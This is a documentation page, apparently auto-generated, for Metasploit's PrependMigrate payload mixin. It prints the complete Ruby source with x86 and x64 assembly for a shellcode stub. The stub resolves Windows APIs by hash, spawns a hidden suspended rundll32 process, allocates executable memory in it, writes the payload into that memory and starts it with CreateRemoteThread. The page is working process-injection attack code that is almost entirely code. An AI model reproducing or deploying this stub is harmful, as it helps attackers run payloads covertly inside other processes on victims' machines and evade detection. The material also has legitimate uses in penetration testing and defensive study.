Module: Msf::Payload::Windows::PrependMigrate

Included in:
Msf::Payload::Windows
Defined in:
lib/msf/core/payload/windows/prepend_migrate.rb

Overview

This mixin provides support for generating PrependMigrate blocks for Windows payloads

Instance Method Summary collapse

Instance Method Details

#initialize(info = {}) ⇒ Object

Initialize


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# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 13

def initialize(info = {})
  ret = super( info )

  register_advanced_options(
    [
      Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]),
      Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ])
    ], Msf::Payload::Windows )
  ret
end

#prepend_migrate(buf) ⇒ Object

Create assembly


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# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 58

def prepend_migrate(buf)
  payloadsize = "0x%04x" % buf.length
  procname = datastore['PrependMigrateProc'] || 'rundll32'

  # Prepare instructions to get address of block_api into ebp
  block_api_start = <<-EOS
    call start
  EOS
  block_api_asm = <<-EOS
  api_call:
    pushad                    ; We preserve all the registers for the caller, bar EAX and ECX.
    mov ebp, esp              ; Create a new stack frame
    xor edx, edx              ; Zero EDX
    mov edx, [fs:edx+48]      ; Get a pointer to the PEB
    mov edx, [edx+12]         ; Get PEB->Ldr
    mov edx, [edx+20]         ; Get the first module from the InMemoryOrder module list
  next_mod:                   ;
    mov esi, [edx+40]         ; Get pointer to modules name (unicode string)
    movzx ecx, word [edx+38]  ; Set ECX to the length we want to check
    xor edi, edi              ; Clear EDI which will store the hash of the module name
  loop_modname:               ;
    xor eax, eax              ; Clear EAX
    lodsb                     ; Read in the next byte of the name
    cmp al, 'a'               ; Some versions of Windows use lower case module names
    jl not_lowercase          ;
    sub al, 0x20              ; If so normalise to uppercase
  not_lowercase:              ;
    ror edi, 13               ; Rotate right our hash value
    add edi, eax              ; Add the next byte of the name
    loop loop_modname         ; Loop untill we have read enough

    ; We now have the module hash computed
    push edx                  ; Save the current position in the module list for later
    push edi                  ; Save the current module hash for later
    ; Proceed to iterate the export address table
    mov edx, [edx+16]         ; Get this modules base address
    mov eax, [edx+60]         ; Get PE header

    ; use ecx as our EAT pointer here so we can take advantage of jecxz.
    mov ecx, [eax+edx+120]    ; Get the EAT from the PE header
    jecxz get_next_mod1       ; If no EAT present, process the next module
    add ecx, edx              ; Add the modules base address
    push ecx                  ; Save the current modules EAT
    mov ebx, [ecx+32]         ; Get the rva of the function names
    add ebx, edx              ; Add the modules base address
    mov ecx, [ecx+24]         ; Get the number of function names
    ; now ecx returns to its regularly scheduled counter duties

    ; Computing the module hash + function hash
  get_next_func:              ;
    jecxz get_next_mod        ; When we reach the start of the EAT (we search backwards), process the next module
    dec ecx                   ; Decrement the function name counter
    mov esi, [ebx+ecx*4]      ; Get rva of next module name
    add esi, edx              ; Add the modules base address
    xor edi, edi              ; Clear EDI which will store the hash of the function name
    ; And compare it to the one we want
  loop_funcname:              ;
    xor eax, eax              ; Clear EAX
    lodsb                     ; Read in the next byte of the ASCII function name
    ror edi, 13               ; Rotate right our hash value
    add edi, eax              ; Add the next byte of the name
    cmp al, ah                ; Compare AL (the next byte from the name) to AH (null)
    jne loop_funcname         ; If we have not reached the null terminator, continue
    add edi, [ebp-8]          ; Add the current module hash to the function hash
    cmp edi, [ebp+36]         ; Compare the hash to the one we are searchnig for
    jnz get_next_func         ; Go compute the next function hash if we have not found it

    ; If found, fix up stack, call the function and then value else compute the next one...
    pop eax                   ; Restore the current modules EAT
    mov ebx, [eax+36]         ; Get the ordinal table rva
    add ebx, edx              ; Add the modules base address
    mov cx, [ebx+2*ecx]       ; Get the desired functions ordinal
    mov ebx, [eax+28]         ; Get the function addresses table rva
    add ebx, edx              ; Add the modules base address
    mov eax, [ebx+4*ecx]      ; Get the desired functions RVA
    add eax, edx              ; Add the modules base address to get the functions actual VA
    ; We now fix up the stack and perform the call to the desired function...
  finish:
    mov [esp+36], eax         ; Overwrite the old EAX value with the desired api address for the upcoming popad
    pop ebx                   ; Clear off the current modules hash
    pop ebx                   ; Clear off the current position in the module list
    popad                     ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
    pop ecx                   ; Pop off the origional return address our caller will have pushed
    pop edx                   ; Pop off the hash value our caller will have pushed
    push ecx                  ; Push back the correct return value
    jmp eax                   ; Jump into the required function
    ; We now automagically return to the correct caller...

  get_next_mod:               ;
    pop eax                   ; Pop off the current (now the previous) modules EAT
  get_next_mod1:              ;
    pop edi                   ; Pop off the current (now the previous) modules hash
    pop edx                   ; Restore our position in the module list
    mov edx, [edx]            ; Get the next module
    jmp.i8 next_mod           ; Process this module
  ;--------------------------------------------------------------------------------------
  EOS

  # Prepare default exit block (sleep for a long long time)
  exitblock = <<-EOS
    ;sleep
    push -1
    push 0xE035F044           ; hash( "kernel32.dll", "Sleep" )
    call ebp                  ; Sleep( ... );
  EOS

  # Check to see if we can find exitfunc in the payload
  exitfunc_index = buf.index("\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" +
          "\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5")
  if exitfunc_index
    exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5)
    exitblock = "exitblock:\njmp $+#{exitblock_offset}"
  end

  block_api_ebp_asm = <<-EOS
    pop ebp                   ; Pop off the address of 'api_call' for calling later.
  EOS
  block_close_to_payload = ''

  # Check if we can find block_api in the payload
  block_api = Metasm::Shellcode.assemble(Metasm::Ia32.new, block_api_asm).encode_string
  block_api_index = buf.index(block_api)
  if block_api_index

    # Prepare instructions to calculate address
    ebp_offset = "0x%04x" % (block_api_index + 5)
    block_api_ebp_asm = <<-EOS
      jmp close_to_payload
    return_from_close_to_payload:
      pop ebp
      add ebp, #{ebp_offset}
    EOS
    # Clear now-unneeded instructions
    block_api_asm = ''
    block_api_start = ''
    block_close_to_payload = <<-EOS
    close_to_payload:
      call return_from_close_to_payload
    EOS
  end

  #put all pieces together
  migrate_asm = <<-EOS
    cld                       ; Clear the direction flag.
    #{block_api_start}
    #{block_api_asm}
  start:
    #{block_api_ebp_asm}
    ; get our own startupinfo at esp+0x60
    add esp,-400              ; adjust the stack to avoid corruption
    lea edx,[esp+0x60]
    push edx
    push 0xB16B4AB1           ; hash( "kernel32.dll", "GetStartupInfoA" )
    call ebp                  ; GetStartupInfoA( &si );

    lea eax,[esp+0x60]        ; Put startupinfo pointer back in eax

    jmp getcommand
    gotcommand:
    pop esi                   ; esi = address of process name (command line)

    ; create the process
    lea edi,[eax+0x60]        ; Offset of empty space for lpProcessInformation
    push edi                  ; lpProcessInformation : write processinfo here
    push eax                  ; lpStartupInfo : current info (read)
    xor ebx,ebx
    push ebx                  ; lpCurrentDirectory
    push ebx                  ; lpEnvironment
    push 0x08000004           ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
    push ebx                  ; bInHeritHandles
    push ebx                  ; lpThreadAttributes
    push ebx                  ; lpProcessAttributes
    push esi                  ; lpCommandLine
    push ebx                  ; lpApplicationName

    push 0x863FCC79           ; hash( "kernel32.dll", "CreateProcessA" )
    call ebp                  ; CreateProcessA( &si );

    ; if we didn't get a new process, use this one
    test eax,eax
    jz payload                ; If process creation failed, jump to shellcode

  goodProcess:
    ; allocate memory in the process (VirtualAllocEx())
    ; get handle
    push 0x40                 ; RWX
    add bh,0x10               ; ebx = 0x1000
    push ebx                  ; MEM_COMMIT
    push ebx                  ; size
    xor ebx,ebx
    push ebx                  ; address
    push [edi]                ; handle
    push 0x3F9287AE           ; hash( "kernel32.dll", "VirtualAllocEx" )
    call ebp                  ; VirtualAllocEx( ...);

    ; eax now contains the destination
    ; WriteProcessMemory()
    push esp                  ; lpNumberOfBytesWritten
    push #{payloadsize}       ; nSize
    ; pick up pointer to shellcode & keep it on stack
    jmp begin_of_payload
    begin_of_payload_return:  ; lpBuffer
    push eax                  ; lpBaseAddress
    push [edi]                ; hProcess
    push 0xE7BDD8C5           ; hash( "kernel32.dll", "WriteProcessMemory" )
    call ebp                  ; WriteProcessMemory( ...)

    ; run the code (CreateRemoteThread())
    push ebx                  ; lpthreadID
    push ebx                  ; run immediately
    push ebx                  ; no parameter
    mov ecx,[esp-0x4]
    push ecx                  ; shellcode
    push ebx                  ; stacksize
    push ebx                  ; lpThreadAttributes
    push [edi]
    push 0x799AACC6           ; hash( "kernel32.dll", "CreateRemoteThread" )
    call ebp                  ; CreateRemoteThread( ...);

    #{exitblock}              ; jmp to exitfunc or long sleep

  getcommand:
    call gotcommand
    db "#{procname}"
    db 0x00
  #{block_close_to_payload}
  begin_of_payload:
    call begin_of_payload_return
  payload:
  EOS
  migrate_asm
end

#prepend_migrate?Boolean

Returns the state of the PrependMigrate option See github.com/rapid7/metasploit-framework/pull/917 for discussion.

Returns:

  • (Boolean)

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# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 29

def prepend_migrate?
  !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true')
end

#prepend_migrate_64(buf) ⇒ Object


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# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 292

def prepend_migrate_64(buf)
  payloadsize = "0x%04x" % buf.length
  procname = datastore['PrependMigrateProc'] || 'rundll32'

  # Prepare instructions to get address of block_api into ebp
  block_api_start = <<-EOS
    call start
  EOS
  block_api_asm = <<-EOS
  api_call:
    push r9                  ; Save the 4th parameter
    push r8                  ; Save the 3rd parameter
    push rdx                 ; Save the 2nd parameter
    push rcx                 ; Save the 1st parameter
    push rsi                 ; Save RSI
    xor rdx, rdx             ; Zero rdx
    mov rdx, [gs:rdx+96]     ; Get a pointer to the PEB
    mov rdx, [rdx+24]        ; Get PEB->Ldr
    mov rdx, [rdx+32]        ; Get the first module from the InMemoryOrder module list
  next_mod:                  ;
    mov rsi, [rdx+80]        ; Get pointer to modules name (unicode string)
    movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
    xor r9, r9               ; Clear r9 which will store the hash of the module name
  loop_modname:              ;
    xor rax, rax             ; Clear rax
    lodsb                    ; Read in the next byte of the name
    cmp al, 'a'              ; Some versions of Windows use lower case module names
    jl not_lowercase         ;
    sub al, 0x20             ; If so normalise to uppercase
  not_lowercase:             ;
    ror r9d, 13              ; Rotate right our hash value
    add r9d, eax             ; Add the next byte of the name
    loop loop_modname        ; Loop untill we have read enough
    ; We now have the module hash computed
    push rdx                 ; Save the current position in the module list for later
    push r9                  ; Save the current module hash for later
    ; Proceed to itterate the export address table
    mov rdx, [rdx+32]        ; Get this modules base address
    mov eax, dword [rdx+60]  ; Get PE header
    add rax, rdx             ; Add the modules base address
    mov eax, dword [rax+136] ; Get export tables RVA
    test rax, rax            ; Test if no export address table is present
    jz get_next_mod1         ; If no EAT present, process the next module
    add rax, rdx             ; Add the modules base address
    push rax                 ; Save the current modules EAT
    mov ecx, dword [rax+24]  ; Get the number of function names
    mov r8d, dword [rax+32]  ; Get the rva of the function names
    add r8, rdx              ; Add the modules base address
    ; Computing the module hash + function hash
  get_next_func:             ;
    jecxz get_next_mod       ; When we reach the start of the EAT (we search backwards), process the next module
    dec rcx                  ; Decrement the function name counter
    mov esi, dword [r8+rcx*4]; Get rva of next module name
    add rsi, rdx             ; Add the modules base address
    xor r9, r9               ; Clear r9 which will store the hash of the function name
    ; And compare it to the one we want
  loop_funcname:             ;
    xor rax, rax             ; Clear rax
    lodsb                    ; Read in the next byte of the ASCII function name
    ror r9d, 13              ; Rotate right our hash value
    add r9d, eax             ; Add the next byte of the name
    cmp al, ah               ; Compare AL (the next byte from the name) to AH (null)
    jne loop_funcname        ; If we have not reached the null terminator, continue
    add r9, [rsp+8]          ; Add the current module hash to the function hash
    cmp r9d, r10d            ; Compare the hash to the one we are searchnig for
    jnz get_next_func        ; Go compute the next function hash if we have not found it
    ; If found, fix up stack, call the function and then value else compute the next one...
    pop rax                  ; Restore the current modules EAT
    mov r8d, dword [rax+36]  ; Get the ordinal table rva
    add r8, rdx              ; Add the modules base address
    mov cx, [r8+2*rcx]       ; Get the desired functions ordinal
    mov r8d, dword [rax+28]  ; Get the function addresses table rva
    add r8, rdx              ; Add the modules base address
    mov eax, dword [r8+4*rcx]; Get the desired functions RVA
    add rax, rdx             ; Add the modules base address to get the functions actual VA
    ; We now fix up the stack and perform the call to the drsired function...
  finish:
    pop r8                   ; Clear off the current modules hash
    pop r8                   ; Clear off the current position in the module list
    pop rsi                  ; Restore RSI
    pop rcx                  ; Restore the 1st parameter
    pop rdx                  ; Restore the 2nd parameter
    pop r8                   ; Restore the 3rd parameter
    pop r9                   ; Restore the 4th parameter
    pop r10                  ; pop off the return address
    sub rsp, 32              ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
                             ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
    push r10                 ; push back the return address
    jmp rax                  ; Jump into the required function
    ; We now automagically return to the correct caller...
  get_next_mod:              ;
    pop rax                  ; Pop off the current (now the previous) modules EAT
  get_next_mod1:             ;
    pop r9                   ; Pop off the current (now the previous) modules hash
    pop rdx                  ; Restore our position in the module list
    mov rdx, [rdx]           ; Get the next module
    jmp next_mod             ; Process this module
  EOS

  # Prepare default exit block (sleep for a long long time)
  exitblock = <<-EOS
    ;sleep
    xor rcx,rcx
    dec rcx                   ; rcx = -1
    mov r10d, 0xE035F044      ; hash( "kernel32.dll", "Sleep" )
    call rbp                  ; Sleep( ... );
  EOS

  # Check to see if we can find x64 exitfunc in the payload
  exitfunc_index = buf.index("\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48\x83\xC4\x28\x3C\x06" +
      "\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5")
  if exitfunc_index
    exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5)
    exitblock = "exitblock:\njmp $+#{exitblock_offset}"
  end

  block_api_rbp_asm = <<-EOS
    pop rbp                   ; Pop off the address of 'api_call' for calling later.
  EOS
  block_close_to_payload = ''

  # Check if we can find block_api in the payload
  block_api = Metasm::Shellcode.assemble(Metasm::X64.new, block_api_asm).encode_string
  block_api_index = buf.index(block_api)
  if block_api_index

    # Prepare instructions to calculate address
    rbp_offset = "0x%04x" % (block_api_index + 5)
    block_api_rbp_asm = <<-EOS
      jmp close_to_payload
    return_from_close_to_payload:
      pop rbp
      add rbp, #{rbp_offset}
    EOS
    # Clear now-unneeded instructions
    block_api_asm = ''
    block_api_start = ''
    block_close_to_payload = <<-EOS
    close_to_payload:
      call return_from_close_to_payload
    EOS
  end

  #put all pieces together
  migrate_asm = <<-EOS
    cld                       ; Clear the direction flag.
    #{block_api_start}
    #{block_api_asm}
  start:
    #{block_api_rbp_asm}
    ; get our own startupinfo at esp+0x60
    add rsp,-400              ; adjust the stack to avoid corruption
    lea rcx,[rsp+0x30]
    mov r10d, 0xB16B4AB1      ; hash( "kernel32.dll", "GetStartupInfoA" )
    call rbp                  ; GetStartupInfoA( &si );

    jmp getcommand
    gotcommand:
    pop rsi                   ; rsi = address of process name (command line)

    ; create the process
    lea rdi,[rsp+0x110]       ; Offset of empty space for lpProcessInformation
    push rdi                  ; lpProcessInformation : write processinfo here
    lea rcx,[rsp+0x58]
    push rcx                  ; lpStartupInfo : current info (read)
    xor rcx,rcx
    push rcx                  ; lpCurrentDirectory
    push rcx                  ; lpEnvironment
    push 0x08000004           ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
    push rcx                  ; bInHeritHandles
    mov r9, rcx               ; lpThreadAttributes
    mov r8, rcx               ; lpProcessAttributes
    mov rdx, rsi              ; lpCommandLine
    ; rcx is already zero     ; lpApplicationName
    mov r10d, 0x863FCC79      ; hash( "kernel32.dll", "CreateProcessA" )
    call rbp                  ; CreateProcessA( &si );

    ; if we didn't get a new process, use this one
    test rax,rax
    jz payload                ; If process creation failed, jump to shellcode

  goodProcess:
    ; allocate memory in the process (VirtualAllocEx())
    ; get handle
    push 0x40                 ; RWX
    mov r9,0x1000             ; 0x1000 = MEM_COMMIT
    mov r8,r9                 ; size
    xor rdx,rdx               ; address
    mov rcx, [rdi]            ; handle
    mov r10d, 0x3F9287AE      ; hash( "kernel32.dll", "VirtualAllocEx" )
    call rbp                  ; VirtualAllocEx( ...);

    ; eax now contains the destination - save in ebx
    mov rbx, rax              ; lpBaseAddress
    ; WriteProcessMemory()
    push rsp                  ; lpNumberOfBytesWritten
    mov r9, #{payloadsize}    ; nSize
    ; pick up pointer to shellcode & keep it on stack
    jmp begin_of_payload
    begin_of_payload_return:
    pop r8                    ; lpBuffer
    mov rdx, rax              ; lpBaseAddress
    mov rcx, [rdi]            ; hProcess
    mov r10d, 0xE7BDD8C5      ; hash( "kernel32.dll", "WriteProcessMemory" )
    call rbp                  ; WriteProcessMemory( ...);

    ; run the code (CreateRemoteThread())
    xor rcx, rcx              ; rdx = 0
    push rcx                  ; lpthreadID
    push rcx                  ; run immediately
    push rcx                  ; no parameter
    mov r9,rbx                ; shellcode
    mov r8, rcx               ; stacksize
    ;rdx already equals 0     ; lpThreadAttributes
    mov rcx, [rdi]
    mov r10d, 0x799AACC6      ; hash( "kernel32.dll", "CreateRemoteThread" )
    call rbp                  ; CreateRemoteThread( ...);

    #{exitblock}              ; jmp to exitfunc or long sleep

  getcommand:
    call gotcommand
    db "#{procname}"
    db 0x00
  #{block_close_to_payload}
  begin_of_payload:
    call begin_of_payload_return
  payload:
  EOS
  migrate_asm
end

#prepends(buf) ⇒ Object

Overload the generate() call to prefix our stubs


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# File 'lib/msf/core/payload/windows/prepend_migrate.rb', line 36

def prepends(buf)
  pre = ''

  test_arch = [ *(self.arch) ]

  if prepend_migrate?
    # Handle all x86 code here
    if test_arch.include?(ARCH_X86)
      migrate_asm = prepend_migrate(buf)
      pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
    # Handle all x64 code here
    elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
      migrate_asm = prepend_migrate_64(buf)
      pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
    end
  end
  return pre + buf
end